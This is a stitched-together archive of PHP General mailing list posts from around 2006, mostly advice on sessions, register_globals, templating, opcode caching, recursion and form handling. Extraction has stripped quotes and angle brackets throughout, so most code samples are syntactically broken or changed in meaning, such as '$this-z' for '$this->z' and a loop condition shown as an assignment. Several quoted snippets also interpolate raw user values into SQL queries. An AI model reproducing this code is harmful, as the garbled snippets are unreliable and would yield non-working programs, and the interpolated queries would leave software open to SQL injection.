Re: [PHP] weird timestamp problem
I'm not sure why you'd have that problem, but I definitely think you're
over-engineering the code. That could well be why you're having a problem.
You can greatly simplify it like so:
$start_c = mktime(5, 0, 0, $month_t, $day_t, $year_t);
$end_c = mktime(21, 30, 0, $month_t, $day_t, $year_t);
for ($start_time = $start_c; $start_time = $end_c; $start_time += 900) {
$start = date(g:i A, $start_time);
$end = date(g:i A, $start_time + 900);
print $startbr /$end;
}
There may be an edge-case at the end you need to deal with, as I've not tested
the above, but as there's less code there's fewer places things can go wrong.
That's generally a good way to do things. :-)

Re: [PHP] alternative method
If you're talking about getting user data into a web script, then GET, POST, and cookies are the only options. All three are insecure, because they're coming from the user. The user is guilty until proven otherwise. Sanitize thy input. Sensitive data like username and password should never be sent by GET, because GET is bookmarkable while POST is not. GET should be used only for lookup of data, POST for any modification of data. I generally default to POST unless I specifically want something to be bookmarkable or copyable into an email to send to someone.

The normal way:

$this-z = $z;

could be replaced with:
function ClassName ($x, $y, $z) {
foreach (magic_function_i_want() as $key=$val) {
$this-$key =$val;
}
In the Javascript world, it's becoming more common to pass a key/value object
(what in the PHP world we call an associative array) as a single parameter.
That gives you keyed values, and no order-requirements if you want default
values for the first 5 parameters and just one difference for the last one.
To wit:
function foo($params) {
if (!isset($params['bar']) $params['bar'] = 'a';
if (!isset($params['baz']) $params['baz'] = 'b';
...
}
Or for a constructor, you'd do something like this:
class Foo {
private $bar = 'a';
private $baz = 'b';
function __construct($params) {
foreach ($params as $key = $value) {
$this-$key = $value;
}
}
}
The down side of course is that calling the function/object has a different
syntax then. Nothing is free. :-)

[PHP] Smart Quotes not so smart
I've run into this sort of issue a few times before, and never found a good solution. Now a client has been hit with it and is asking for a solution, and I'm not convinced there is one. :-) Client has a large MS SQL database with lots of data. Some of that data includes smart quotes, aka curly quotes, but not real ones. They're the MS Word character encoding standards? What's that? smart quotes. On their old setup (SQL Server 2k, OpenLink ODBC driver, IIS, PHP 4.0.6), they actually worked just fine. On our old devel setup (the same but with a different ODBC driver), it worked fine. On our new devel setup (SQL Server 2k, OpenTDS ODBC driver, Apache, PHP 5.1.6), it works fine. On their new live setup, however, (same, but again not sure of the ODBC driver) they're getting the dreaded squares or question marks or accented characters that signify a garbled smart quote. I know they're not unicode characters because Windows, the DB server, and the driver are all set to either UTF-8 or UTF-16. We've tried eliminating middle-men to no avail. I've also tried doing a find-replace on the smart quote characters before they're inserted into the database, copying and pasting them from Word, and PHP skips right past them and enters them into the database. All we're left with is MAYBE telling them to dry a different ODBC driver or else fixing the data by hand. I don't like either option, myself. Does anyone have any better ideas to suggest? Any idea what those smart quotes actually are, and if they exist in ANY valid character set other than Word itself? -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

I suspect that efficiently recreating the LIKE functionality in PHP wouldn't be trivial to do, if you are just doing straight comparisons the MySQL STRCMP function should be faster. I'd say there will be a big difference. Pulling in 10,000 entries from the database and then sorting them in php will take a lot of memory (and database time to retrieve all of the entries). Getting the database to restrict that number of entries will take a little time but it doesn't have to return all entries, your php memory won't blow out and it won't have bugs in it. As a general rule, I try to push as much logic into the query as I can for the simple reason that MySQL is optimized C and my PHP code gets interpreted. The odds of me writing something in PHP that's faster than MySQL AB's C code are slim. :-) The exception is grouping, which I've often had to do in PHP with a loop to rebuild a result array. The performance hit for that is not that big, however, and if you free() the result set afterward then the memory usage is not a major issue either.

Re: [PHP] Closing a connection to browser without exiting the script
Well, really you can't do that. A PHP request only takes interrupt input when it starts, from the GET, POST, COOKIE, and SESSION magic variables. It doesn't run as a daemon. A fresh Ajax call to the script starts a new instance of the script. Fortunately, PHP's engine is fast enough that the performance is still not that much of a problem unless you're grossly over-including code. The only way to have a stay-resident PHP daemon for Ajax callbacks would be to either (a) Use an Opcode cache, which is not really a stay-resident but would eliminate a lot of the repetitive initialization in the engine or (b) write a CLI PHP script that you load on the server as a daemon that listens on a port, essentially same way that apache or MySQL or postfix or any other daemon does. For the latter you may have to use an off-port. For what you're trying to do, I'd suggest just writing your script normally and letting the Zend engine take care of it for you. If you're really concerned about performance you can have two include conditions, one for a full page and one for an Ajax call, but you have to be very careful about how you structure your code then. An Opcode cache would be easier and more flexible. As for persistent data across requests, that's what sessions are for.

Er, so how would it be done? I've been trying for two days now with no

From your original message, it sounds like you want to strip selected complete

Right?
Try something like this:
$string = The quick sly fox jumped over a fence and ran away;
$words = array('the', 'a', 'and');
function make_regex($str) {
return '/\b' . $str . '\b/i';
}
$search = array_map('make_regex', $words);
$string = preg_replace($search, '', $string);
print $string . \n;
What you really need to do that is to match word boundaries, NOT string
boundaries. So you take your list of words and mutate *each one* (that's
what the array_map() is about) into a regex pattern that finds that word,
case-insensitively. Then you use preg_replace() to replace all matches of
any of those patterns with an empty string.
You were close. What you were missing was the array_map(), because you needed
to concatenate stuff to each element of the array rather than trying to
concatenate a string to an array, which as others have said will absolutely
not work.
I can't guarantee that the above code is the best performant method, but it
works. :-)

Re: [PHP] forms usage in web pages
There's nothing wrong with multiple forms on a single page, as long as all id attributes in all elements are unique on the entire page, not just within the form. Just make sure that each form is self-contained with its own submit button and such. Only the form whose submit button is clicked will get submitted by the browser. Whether or not you want to use multiple forms for a given set of tasks or multiple submit buttons in a single form (which you can then test to see which was clicked) will depend on what it is you're doing. Both are perfectly legitimate ways of doing things, depending on what things you're doing.

I'm using Drupal with lots of modules loaded. PHP memory_limit is set to 20MB, and at times 20MB is used. I think that works per request. All the evidence points to that. So 10 concurrent requests, which is not unrealistic, it could use 400MB + webserver overhead. And I still want to combine it with another bit of software that will use 10 to 15MB per request. It's time to think about memory usage and whether there are any strategies to disengage memory usage from request rate. Drupal tends to use about 10 MB of memory in normal usage for a reasonable set of modules in my experience, but a crapload more on the admin/modules page because it has to load everything in order to do so. Normally you won't hit that page very often. :-) However, Drupal is deliberately friendly toward APC. I don't recall the stats (I know someone made some pretty graphs at one point, but I can't find them), but simply throwing APC at Drupal should give you a hefty hefty performance boost. I believe APC does cache-one-run-many, so the code, at least, will only be stored in RAM once rather than n times. (Richard is correct, though, that data is generally larger than code in most apps.) Also, search the Drupal forums for something called Split mode. It was something chx was putting together a while back.

Compiled when execution hits them. You can prove this by trying to
conditionally include a file with a syntax error: if (false)
include('script_with_syntax_error.php'); won't cause an error.
Secondly, are include files that are referenced, but not used, loaded
into memory? I.e Are statically included files automatically loaded
into memory at the start of a request? (Of course those where the name
is variable can only be loaded once the name has been determined.) And
when are they loaded into memory? When the instruction pointer hits
the include? Or when the script is initially loaded?
If your include file is actually included, it will use memory. If it is
not included because of some condition, then it won't use memory.
Are included files ever unloaded? For instance if I had 3 include
files and no loops, once execution had passed from the first include
file to the second, the engine might be able to unload the first file.
Or at least the code, if not the data.
If you define a global variable in an included file and don't unset it
anywhere, then it isn't automatically unloaded, nor are function/class
definitions unloaded when execution is finished.
Once you include a file, it isn't unloaded later though - even included
files that have just executed statements (no definitions saved for
later) seem to eat a little memory once, but it's so minimal that you
wouldn't run into problems unless you were including many thousand
files. Including the same file again doesn't eat further memory. I
assume the eaten memory is for something to do with compilation or
caching in the ZE.
Thirdly, I understand that when a request arrives, the script it
requests is compiled before execution. Now suppose a second request
arrives for the same script, from a different requester, am I right in
assuming that the uncompiled form is loaded? I.e the script is
tokenized for each request, and the compiled version is not loaded
unless you have engine level caching installed - e.g. MMCache or Zend
Optimiser.
I think that's correct. If you don't have an opcode cache, the script is
compiled again for every request, regardless of who requests it.
IMO, you're probably better off with PECL/APC or eAccelerator rather
than MMCache or Zend Optimizer. I use APC personally, and find it
exceptional - rock solid + fast. (eAccelerator had a slight performance
edge for my app up until APC's most recent release, where APC now has a
significant edge.)
Fourthly, am I right in understanding that scripts do NOT share
Fifthly, if a script takes 4MB, given point 4, does the webserver
demand 8MB if it is simultaneously servicing 2 requests?
Yep. More usually with webserver/PHP overhead.
Unless you're using an opcode cache, as I believe some of the are smarter
about that. Which and how, I don't know. :-)

Yes, serialization is trivial for scalar data. However, to use a real-world example, the Drupal CMS allows users to define an unlimited number of path aliases. They're just key/value mappings, one string to another. Any given page can have dozens of links on it, which means dozens of mappings. The database table is really just a simple two column table, user path to system path. In older versions, the system pulled the whole table out at once and built a look up array, once per page. Only one query per page, but it meant a lot of data to pull and build. On sites with lots of aliases, that got very slow. So the latest version now pulls records one at a time. But that's a ton of SQL queries, many of which simply find no data in the first place. So now there's talk of building the look up table one record at a time and caching that, but the serialization/deserialization costs there are non-trivial when you're talking about a large array. The balance is still being worked out. :-) I'm just pointing out that no matter how you slice it, there is no free lunch performance-wise when you need to store data.

What exactly does properties.php do/contain?
You are aware that the $a, $b, $c, and $d you reference in both versions are
not the properties of the object, but local variables, right? If you want
the object properties, you need to use $this-a, $this-b, etc.
I still think both methods are highly over-engineered, however.

Of course, the cost of serialization and deserialization is non-trivial for

with stale data objects. (An issue in any case, but the longer the object

Has anyone done tests on the difference between the value and performance of serializing data structures versus just pulling the data from the database? PHP stores session data in files by default. There's gotta be a performance hit for the file access. If you store session data in MySQL, you're still making a DB query. It seems to me that the performance is almost the same, which means grabbing the current record ends up better because you avoid stale data. What do you think? -Ed It depends on what your data is. Is your data basic (a few elements in a linear array) or complex (a deeply nested multi-dimensional array or complex object?) Deserializing a complex data structure can get expensive. Is your data built by a single simple query against the database, a single but very complex query with lots of joins and subqueries, or a bunch of separate queries over the course of the program? A single SQL query for cached data is likely faster than lots of little queries. Is your data something that's going to change every few seconds, every few minutes, or every few days? Caching something that will change by your next page request anyway is a waste of cycles. Is your data needed on every page load? Putting a complex data structure into the session if you only need it occasionally is a waste of cycles. You're better off rebuilding it each time or implementing your own caching mechanism that only loads on demand.

The question is how to access the individual elements of the array.
I think you're still misunderstanding the concepts involved.
If you have an array assigned to a variable, you access elements of it with
[].
$foo = array('a', 'b', 'c');
print $foo[0]; // gives 'a'
$bar = array('a' = 'hello', 'b' = 'world');
print $foo['b']; // gives 'world'
http://us3.php.net/manual/en/language.types.array.php
It doesn't matter if you got the array as a return from a function or method
or not.
However, what you're doing here is horribly bastardizing classes and
singletons. :-) Generally, a getInstance() is used to return an instance of
a CLASS, not an array.
If you just want to access the properties of an object, you use the object
dereference operator, -.
$foo = new returnConfigParams();
print $foo-a; // prints whatever is the value of the property var $a
http://us3.php.net/manual/en/language.oop.php
Of course, if you're trying to get database parameter information, then all of
this is grossly over-engineered.
properties.php:
?php
$dbsettings['a'] = 'foo';
$dbsettings['b'] = 'bar';
$dbsettings['c'] = 'baz';
index.php (or whatever):
require('properties.php');
And you now have an array $dbsettings, which has the values you need.
Much simpler, and much faster.

Re: [PHP] OOP slow -- am I an idiot?
doesn't seem to scale well. I did something like the above a few years ago. It was slow, and I think it's because it was doing this for each single row: * Instantiate the class * Perform a query for the name * Perform a query for the first department * Perform a query for the next department * Perform a query for the next department * Perform a query for the next department * Perform a query for the next department * Perform a query for the next department * Perform a query for the next department ... * Destroy the instantiation * Start over I love using object-oriented programming, but it seems to me that's ALOT of performance burden when I could just do something like this: SELECT customers.name, customer_revenue.revenue FROM customers INNER JOIN customer_revenue ON customers.id = customer_revenue.customer_id WHERE customer_revenue.department = '$department' ANDcustomer_revenue.month = '$month' ANDcustomer_revenue.year = '$year' (PHP loop to display all results) That seems like it would perform 20x faster. It seems that the SQL economies of scale (ability to rapidly slurp large sets of data) are completely bypassed when using OOP to view ALOT of objects together on one screen. It seems if I want decent performance I would have to ignore OOP rules of method hiding and access the data directly when using anything more than just a few objects on one page. A workaround -- I thought that perhaps I could fetch ALL of the data for a customer into memory upon initial instantiation, wherein I perform something like this: SELECT * FROM customers INNER JOIN customer_revenue ON customers.id = customer_revenue.customer_id WHERE customers.id = '$id' And then use the results from memory as-needed. It would be all data for a customer from all years across all departments. That might perform better but it'd suck ALOT of data into memory, and what if I add more than just revenue to my customer class? Each customer could potentially represent a limitless set of data. So this doesn't seem like an optimal solution. * Where am I going wrong? * Tell me how YOU fetch data from multiple objects to generate reports. * Is this an instance where it's better to just ignore OOP rules and go straight to the data? Whew, that's not fun to think about, particularly if my queries ever get to be more complex. Feedback, please. The goal is to maintain complex queries in just one place -- inside a class.

Re: [PHP] Coding Style Question...

I am relatively new to PHP... I have about 1.5 years of light PHP work
under my belt... Over the past year or so my PHP coding style has evolved
significantly and I'm curious as to how experienced programmers write
PHP...
Basically, here is what I have evolved to:
1) ALL php code is at the top of the file.
2) ALL html code is in a here document at the bottom.
3) php code is run before 1 character is outputed (and hence, no headers
are sent, leaving redirects open for possibilities)
4) I almost always following my require_once directives with a
session_start() at the top of the file.
5) Often, my forms submit to the PHP page that generated them but do so
with a hidden posted variable. If that variable is set, then I process the
form submission.
I think the most important part of all this is #1 #2... I think I am
using PHP a little like template engine this way...
It seems to me that I most often see code snippets that try to intertwine
HTML and PHP, but in my experience, except for trivial examples, this
doesn't work so good...
What do you think?
Good habits to form, overall. Most examples and tutorials are trivial, which
is why they do the intermingling thing. To be fair, that was one of PHP's
original strengths over its competition in the early days (vis, Perl and C),
because it made doing simple stuff simple. You didn't need to dynamically
build the whole page if you only wanted a small bit to be dynamic. Of
course, once you get into anything interesting, you frequently DO want the
whole page dynamic or else templated.
In my case, I tend to use php-based templates and theme functions, a style
borrowed from Drupal. To wit, I have a function like this (off the cuff, not
tested):
function call_template($template, $args) {
extract($args);
ob_start();
include($template);
$output = ob_get_contents();
ob_end_clean();
return $output;
}
$template is then the name of a mostly-HTML .php file where I can use PHP for
display (mostly just echoing), making it easy to separate logic and
presentation and build the page piecemeal. It also means that I have all the
power of PHP for my template engine.
Then I also have functions like
theme_table($header=array(), $rows=array(), $caption='', $attrib=array()) {}
or
theme_unorderedlist($items=array()) {}
So that I can just pass logical data structures and get back fully
semantically useful HTML. (Eg, theme_table automatically puts in even/odd
classes on tr tags for me.)
Again, credit here goes to the Drupal CMS, which uses a much more developed
and refined version of this concept.

Many of the larger (aka well known) OS projects tend to be hodged podged together from what I have been told (again someone feel free to contradict me). Varies widely with the project. OSCommerce is a great application to study as an example of what NOT to do. It's horrid. On the other hand, Drupal is a very good example of using PHP4-era code to its fullest. Modular design, plugin architecture, separation of logic and content and presentation, function-level polymorphism, all kinds of good stuff. (Disclaimer: I am a Drupal contributor, so I am biased, but I'm a Drupal contributor because of how good a system it is.) Of course, Drupal is not a framework per se, but a CMS/framework. It's not for the first time PHP developer. Here's another idea: If they're just starting out, don't give them a framework. Make them work without one, then write their own, realize how hard it is, then they'll appreciate what separates good code from bad code much better. :-) One should never use a WYSIWYG HTML editor until one is fluent in HTML tags and CSS by hand. Similarly, using a super-high-level framework before you understand how to write a decent function that manipulates a nested associative array to control an SQL query means that you will never learn how to properly manipulate a nested associative array (which is, frankly, what makes PHP teh awesome). Might I make a suggestion to you - no matter which framework/OS project you use... Have it be in PHP5. Yeah it may restrict you in options, but that is where PHP is going and to my mind that is what someone new to PHP should be learning. True, and Zend is certainly pushing that hard. On the other hand, there's plenty to learn with PHP 4-era code (although that can certainly be done in PHP 5) before introducing advanced topics like magic object callback overrides. Plus, better than 50% of the shared hosts out there today still run PHP 4 for a mixture of legit and stupid cop-out reasons. You should also make sure to go over security in one of your classes - the intro would be my preferred class since security is a mindset as well as a way of coding. And it is easier to create habits then unlearn and relearn them. Just my $0.02 The very very very first code they write after Hello world should be a secure input wrapper. Go over ALL the issues with PHP user input *in historical context* (register globals, magic quotes, $_REQUEST as evil, why you should get out of the global namespace as soon as possible, etc.) and have them write code to safely get input from the user regardless of the server configuration. That right there is a good solid challenge, but it makes them paranoid from day one, which is how they should be. It also is code they can (and should) then use in all their later projects. 10 points off for every way you find to hack their code. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] register globals on
On Tuesday 12 September 2006 01:16, Zbigniew Szalbot wrote: Hello again, Can I ask a general question? One of the website that we have built was constructed using register globals. Thanks to that we set the language for browsing the website by determining user's browser language and then also (I think) it is used to remember some other choices users make while on the website (especially the language for browsing). Anyway, our ISP asks us to stop using register globals. They are right. We should. However, the programmer we have been using to help us, insists that without register globals on, we will have to revert to using cookies. This - he claims - is not an option because if a user blocks cookies, site as such will become useless (many options on the website are a consequence of setting the language first). I thought I would ask your opinion before we make any decision. Is it really so that without register globals, such things as displaying information from databases based on the initial choice of languages is not an option? I am not a programmer so I just need general guidance. Thank you very much in advance! Your programmer is (a) lying (b) completely and totally clueless (c) both. (Choose one.) In any vaguely recent version of PHP, you get five super-global array variables: $_GET - any parameters passed in the GET string. $_POST - any parameters passed in the body of a POST query. $_REQUEST - The two above merged. I forget which takes precedence. $_COOKIE - Any values sent by the browser as a cookie. $_SESSION - Any values that you have saved to the session array, which is (usually) persisted on the client's browser as a session cookie. All register globals does is take the contents of those arrays and dump them into the global namespace. (Again, I forget off hand what the precedence is.) You can very easily simulate register globals (which you should never do) with: for ($_REQUEST as $key = $value) $GLOBALS[$$key] = $value; for ($_COOKIE as $key = $value) $GLOBALS[$$key] = $value; Disabling register globals does not in any way keep you from using cookies. Of course, 90% of the time if you're using cookies, you REALLY mean to be using a session instead. Remembering a user's setting, such as what language they want, is a text-book example of where you want to be using sessions. Register globals is not required for that in any way shape or form. It may well be the case that refactoring your code to not depend on register globals will be difficult, time consuming, or annoying. That's quite possible. But that has nothing to do with cookies. Nor is there any way for you to persist data between page loads using register globals in the first place. Your programmer is full of it. As for a user disabling cookies, my honest opinion is that it's fucking 2006, if someone is so paranoid that they're blocking on-site session cookies then they shouldn't be allowed to use a web browser in the first place. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] Strange server crash problem
I'm not certain if this is a PHP problem per se, but as the problem manifests itself in PHP I'll give it a go. I've a PHP-based CMS for a site that I am maintaining. It's a large site with a few thousand pages. Most of them work fine. However, twice now we've run into a problem where a specific page will exhibit very odd behavior. When building the page, the script will seemingly terminate after it outputs about 4 KB of data. It's not exactly 4 KB, but it's always about 4 KB of data. If I add debugging information to the page, it will still stop at about 4 KB of data, which is then less real output. The damned thing is, the 4KB mark is reached while outputting the left-side navigation bar. The way the CMS is structured (I didn't write it), that happens before any page-specific content is even loaded. There shouldn't be anything different about the code there yet. I've been unable to figure out why it happens. Any idea what to check? I'm stumped. The server itself is (get this) a Windows/IIS box running PHP 4.0.6 (yes, really) and MS SQL server via ODBC. I unfortunately do not have direct access to the box, so I can't check server logs myself. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] IE session problem on one server only
Another issue. :-) I've another site I've built that uses PHP sessions for user authentication. When the user logs in with a user/pass, that is matched against a record in the database and, if found, that user object is stored in the session along with various other tracking data like the IP address, and the session key is stored in the user table. Then when viewing a page, the systems compares the session key against the user table and the IP address of the request against the saved IP address. If anything doesn't match up properly, the user is kicked out. OK, all fine and dandy. It works correctly in both IE and Firefox on our test server. On the live site, however, it works only in Firefox. In IE, it accepts the initial login and displays the first page, but then the next time the user clicks a link they are asked to login again, as if the session is not being sent or saved properly. Both servers are running Linux and PHP 4.3.x. We had issues before with the session not working correctly in IE, but I fixed those with info from the php.net manual user comments.

Re: [PHP] Recommendations for PHP debuggers?
I use the Zend IDE at work, and honestly I love just about everything about it except the price. The setup can be tricky, but I'm an IT guy so it didn't take weeks, just an hour or two with our company server. :-) Having used both the real time debugger and print-method (sometimes fancily called instrumentation), I can say that both are useful, and both are different things. I currently have hefty debugging facilities built into the CMS at work for print-style debugging, in addition to making heavy use of the real time debugger in Zend. I'm watching this thread closely myself, as I'd love something to use at home (on Linux) that doesn't cost what Zend does. :-) Currently I use PHPeclipse, but it is frankly not that good (the code assistance feature is rudimentary at best), and I've not setup the debugger yet.

While looking into PHP debuggers, I've often come across mention of simply using functions like var_dump() and print_r(). But unless I misunderstand the concept, one has to be always writing these commands into the code, see what they do, and then take them out again when you actually want the code to run as you intend it to be seen. And I don't see how you can do things like watch variables or set break points. Again, unless I don't see it, to watch a variable through many steps of a script, you'd have to place a var_dump() at each juncture, run the whole script, and pick through the output afterwards. If you have arrays which many elements - $_SERVER usually has about 30 or more - that could be quite a lot of text dumped to the screen. While I can see that this approach would work, it also seems to me to involve much more manual labour. In the end, it may just be a personal thing. I'm much more of a graphics guy who wants to do some more stuff with his web pages than a hard core coder. I prefer a more GUI approach to development. Zend didn't really wow me. It took weeks of back and forth with their support to finally get it up to speed. I'll give them credit for having very friendly and responsive support staff. But I would have much rather not needed to use their support so much.

Re: [PHP] Saving a dynamic file
Depends what you're saving it for. Either of those options works, although you'd probably find it easier to save to OpenDoc format rather than Word, as OpenDoc is just XML with compression (and used by every major word processor except Word). Saving just a plain XML file is the same as saving just a plain HTML file. It's just a string of text. You can write it to a file directly, or write it to standard out with an output buffer, than grab the buffer and save that to a file. Or if you want to manipulate it as XML rather than a string, use PHP 5's excellent XML handling or PEAR's XML libraries that mimic them on PHP 4.

Re: [PHP] xml v php question
Disable short tags. If short tags are enabled, the PHP parser sees the ? and switches into PHP mode. It then starts parsing the xml and sees that it's not proper PHP, and freaks out. You can: a) Use PHP to print out the XML declaration as a string: ?php print '?xml version=1.0 encoding=utf-8?'; ? b) Disable short tags so that the PHP parser ignores ? and only recognizes ?php.

Re: [PHP] combine implode() and array_keys() to get a string of key names
On Friday 07 July 2006 10:03, Janet Valade wrote:
Actually, it doesn't matter what the indexes are when you use implode.
Implode just puts the values into a string. Here's code that will work.
$field_array = array_keys($fields_form);
$fields = implode(,,$field_array);
$values = implode(',',$fields_form);
$query = INSERT INTO Table1 ($fields) VALUES (\$values\);
$result = mysqli_query($cxn,$query);
$fields_form is an associative array of all the fields to be entered
into the database, with the field names as keys and the field values as
values. This code quotes the values in the $values string in the query,
as needed if the values are strings.
It is slightly more complicated than that, since if the value is numeric and
going into a numeric field, then it's not supposed to be quoted. (MySQL
generally doesn't care, but some other databases may; I'm not certain.)
I'm actually currently in the midst of getting this functionality added to the
Drupal CMS. Feel free to look at the patch I've submitted[1]. It has some
Drupal-isms in it, but for the most part is fairly clear. It also handles
insert, update, and delete, too.

On Sunday 04 June 2006 11:27, Niels wrote:
This sounds fine -- recursion is obviously the way to go. Where can I see
your function?
I tried several different solutions over the last couple of hours, and I've
settled on only using indentation (like a nested ul/ul list), not a
fancy graph with antialised branches. It's the simplest possible recursion
but I like the results, even if it's a bit harder to grasp without
connections clearly marked.
function tree($nodes, $start, $indent=-30) {
$indent+=30;
global $tree;
foreach ($nodes as $nodeID = $node) {
if ($node['parent']!=$start) {continue;}
$tree.=div
style='margin-left:{$indent}px'{$node['name']}/div; tree($nodes,
$nodeID, $indent);
}
return $tree;
}
Yep, you're on the right track here. If your tree is a directed acyclic
graph (read: every node has at most one parent, and never loops back on
itself), then it's quite easy to do with one SQL table and one SQL query.
(Or similar, if you're not using SQL, but I've done this many times in SQL.)
First, fetch a list of all nodes, in whatever sort order you want (say,
alphabetical), ignoring the nesting. You want an array of records (an SQL
result works, or an array of objects, or an array of arrays), where each
record has at minimum its own ID and its parent ID (0 meaning it's a root
node), and some sort of label.
Then, starting at parentid=0, iterate over the list and process just those
with that parent id. Process means, in this case, for example, to print
out a list item with the name, save the current cursor, and call the function
again recursively with the id of the active node as the new parent node.
When you return, reset the cursor. The cursor stuff is so that you can pass
the array by reference rather than by value and not waste a ton of memory.
So the pseudo-code would look something like:
function foo($nodes, $parentid) {
reset($nodes);
foreach ($nodes as $node) {
if ($node's parent is $parent id) {
$output .= li
. $node (or whatever portion of it you want)
. foo($nodes, $node's id)
. /li;
}
}
if ($output) return ul$output/ul;
}
$nodes = get_my_nodes();
$list = foo($nodes, 0);
There's probably a small bug in the above somewhere since I haven't tested
it, and it would vary a bit if you're operating on an SQL result directly,
but that's the basic idea. The advantage is that you get HTML that is
structurally representative of the relationship, as well as pre-styled for
you by default by any browser.
Thanks,
Ben

Re: [PHP] Includes, Require, Location, Other
A couple of things.
1) Delay your output to the very end. That way you can still do page
redirects and build whole new pages depending on the errors you get.
2) Store errors in the session, then when building the page have a place
for put any error messages here, then delete them from the session.
3) Better yet, use PHP's set_error_handler() features to break out of the flow
of the page completely when necessary. You can do a lot more error checking
that way, and it makes the code cleaner to boot.
4) Structure your code so that you can't send malformed SQL in the first
place. :-) If you're writing a static query, test it before it goes live
(duh). If it's a dynamic query, structure it in such a way that it can't not
be valid. (There's lots of ways do to that. I find arrays and implode() to
work well for me.) At worst you'll return an empty result set, which is not
an error but in fact a genuine situation you should be accounting for anyway.
What you're doing below is really just a fancy version of mysql_query() or

There ARE good PHP based template engines out there (Smarty, Flexy, PHPTal, etc.), written by people much smarter than you or I and field tested by thousands of people on more sites than you've ever used. If you want to use a non-PHP-syntax for your template files, find one. Don't write it.

Re: [PHP] declaring a class as stdClass?
To answer both of you:
$var = new stdClass();
is perfectly acceptable. I do it all the time. The caveat is that the
behavior is slightly different in PHP 4 than PHP 5.
In PHP 4, $var would behave exactly like an associative array, just with
different funky characters to access its properties. Internally, in fact,
they're represented the same.
In PHP 5, $var would behave exactly like an associative array, EXCEPT when
passing it as a parameter to a function. In PHP 4, objects pass by value by
default. In PHP 5, they pass by reference by default.
Also, yes, casting an object to an array or vice versa is much faster than
manually iterating it. So:
$var = (object)array('a'='foo', 'b'='bar', 'c'='baz');
Is perfectly acceptable. I've never tried casting to some other type of
class, though. Give it a try and let us know how it goes. :-)

Hi list,
I hace an existencial doubt: i've seem many scripts declaring classes

that this class is internal of php, and should't be used. By the
manner I saw it's being used, i guess that it can be handy to create a
'generic' or so class, and append members when needed on the fly,
without the need for a formal class declaration, but i could't find
any good source explaining that. Has somebody some info about?
Also, along the lines of this same question, I can do this in PHP very
easily:
?php
$data = array('apple' = 'red', 'banana' = 'yellow', 'plum' =
'purple');
$data = (object) $data;
print_r($data);
?
And my object is magically created for me as an instance of stdClass.
Is there a way to cast as some other type of class?
?php
$data = array('apple' = 'red', 'banana' = 'yellow', 'plum' =
'purple');
$data = (MyCustomClass) $data;
print_r($data);
?
I ask this because the cast in my first example, the (object) cast is
WAY faster than using the manual approach of:
?php
$data = array('apple' = 'red', 'banana' = 'yellow', 'plum' =
'purple');
$MYCLASS = new MyCustomClass();
foreach ($data as $key = $value)
$MYCLASS-$key = $value;
}

That is, recurse to all links that don't leave the domain. It's for exactly this sort of task. -k tells it to convert links. That way if you have all absolute links in your HTML output, it will mutate them for you to stay within the local mirror you're creating. If you have GET queries in your pages (we did), then I recommend also using: --restrict-file-names=windows That will tell it to convert any blah?foo=bar links into [EMAIL PROTECTED], since the first is not a valid filename in Windows. I find that even on a Linux box, the latter works better. So your full command would be wget -m -k --restrict-file-names=windows http://www.example.com/ Start with that and see what you get, then refine as needed.

Re: [PHP] Delete
Make each button a separate form, with the id as a hidden value. Like so:
div
form method='post'
pMy first entry/p
input type='hidden' name='id' value='1' /
input type='submit' value='Delete' /
/form
/div
div
form method='post'
pMy second entry/p
input type='hidden' name='id' value='2' /
input type='submit' value='Delete' /
/form
/div
Obviously you'd want something better formatted, but you get the idea. Then
on the receiving end, you'd simply DELETE FROM entries where id=$id;. That
is, AFTER you process and clean the submitted id value so that it's not an
injection risk. :-)

I have tried unset() and have tried to set it to and empty value, but it doesn't seem to work. You can clear out POST by doing this: $_POST = array(); But that won't do anything in your case because every time the page is refreshed the form is resubmitted (and POST is repopulated). You need to find a way to ensure unique entries in the database. One option is to store a hidden, random value in the form, like a timestamp or the md5() of a random value. Then store this in the db, along with the other data. Put a unique index on that column so that the same random value cannot be inserted multiple times. (In other words, the form would need to be reloaded, then resubmitted for the data to go into the db.)
